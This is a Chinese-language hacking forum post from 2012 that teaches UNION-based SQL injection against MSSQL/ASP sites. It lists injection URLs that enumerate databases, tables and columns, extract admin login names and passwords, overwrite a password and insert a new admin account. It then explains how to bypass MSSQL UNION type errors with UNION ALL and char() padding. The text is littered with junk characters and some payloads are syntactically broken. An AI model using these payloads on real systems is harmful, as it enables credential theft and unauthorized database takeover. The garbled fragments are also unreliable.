标题: MSSQL用union查询爆数据 [打印本页] 作者: admin 时间: 2012-9-15 14:26 标题: MSSQL用union查询爆数据 爆库:; \; S* i* W T6 e
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.-- : O- ?! E( |0 k8 V+ fSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.6 H) M; u: g# A5 Z1 c3 Z! e' x
爆下一个库:. q3 u+ A: z: G, D/ l; N6 c
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')-- ' ?3 Z% N2 t$ S* Z* j$ T% L5 B6 A, F$ w" ?: B2 x
爆表:5 |( I- ?% D- B0 L4 ~( N
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--. z, }: N. ~6 a/ S% r$ }
% d; h! r9 ^) x
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES. $ s$ z" @7 Z, q- Z9 k1 O 5 s# _3 J! @* Z6 u! {& Z! R爆下一个表 l2 T1 V2 f+ E" K9 v5 g2 w& K
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--! z) Z) g. t0 @# G3 b
5 m$ G4 ^ B+ f! L& U. Zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'-- % \" P; _! y. S2 _; e# w, n t- v+ H* V9 f
/ a: u6 z0 f; h9 m+ j+ B9 [1 _
! t5 O" r8 I2 [: U: e( z5 ]1 f爆字段:6 o$ O3 `; I8 N/ f
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- / M1 L0 @1 u x3 G2 r5 V( c! k) ^7 d9 \. M3 H
爆下一个字段 $ P* b% u3 z+ J$ ]& g! R3 ^5 shttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--8 H4 q+ _7 R# w' u8 h0 d/ U' |+ ?
( u7 k1 G" ?2 Q/ k% Zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- : [# i1 Q. W% Z5 u @+ L2 N, @! U9 q3 K: V9 I8 _
% F# L% X2 T$ Q p
爆字段里的内容 1 ~1 A3 ^& @$ S5 X0 Z3 Rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--0 a# k8 p8 W7 S: T+ _$ [
0 ?! b2 B0 v, ?6 T: ?http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- 0 m5 A! D0 a5 V" Z$ e& l! Q3 X
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--+ B: f1 k* l/ A' |
% z: A' _, h! Hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'-- & m' \7 K* O3 p4 S7 q' p$ e* s5 |& a* f3 K- h
更新字段里的内容 3 e- o+ M- p, u( Z$ i! Xhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--3 R: t0 q; n6 o/ {9 w
% J% Z! [3 p; O; H6 s6 r
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)-- + E% B7 j2 ~5 X4 S5 `" N- ?" }* A 4 z5 f2 M) H9 h1 L4 y. ] ( V1 ~8 H, w6 ^6 C7 J/ G) ^" b1 T! Y7 u# z3 h* Y5 X
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。 S3 I% A' q4 B 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。1 y: _0 C3 Y, k! Q
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。 6 _- p* _$ Q* e4 M9 _ 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。$ R. v( M3 M; Q4 y
0 k8 w! S' ~ |. L% y突了了大部份限制的语句 3 y4 K T! { d8 _5 S% X* w/ pand 1=2 union all select char(49),char(50),null,null;--4 m) \8 [1 G: R1 @
3 ?3 ?1 O% u+ a4 T
9 A5 T1 _0 r' ?7 o3 d* e5 B
null也可以正常执行,不过没有回显,不好判断回显的列数。 6 U6 y) ^% V/ Z1 f& B0 q8 b* [一般union遇到问题都是有text或者ntext字段,image的很少遇到 w! F# N1 q) L* P4 T, x3 K- A0 Z) ]
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟 & p- U8 a1 m2 D. l- n$ R 8 u. k& J4 p: \+ `1 ]6 X7 g3 y1 X/ _+ r6 q) z4 f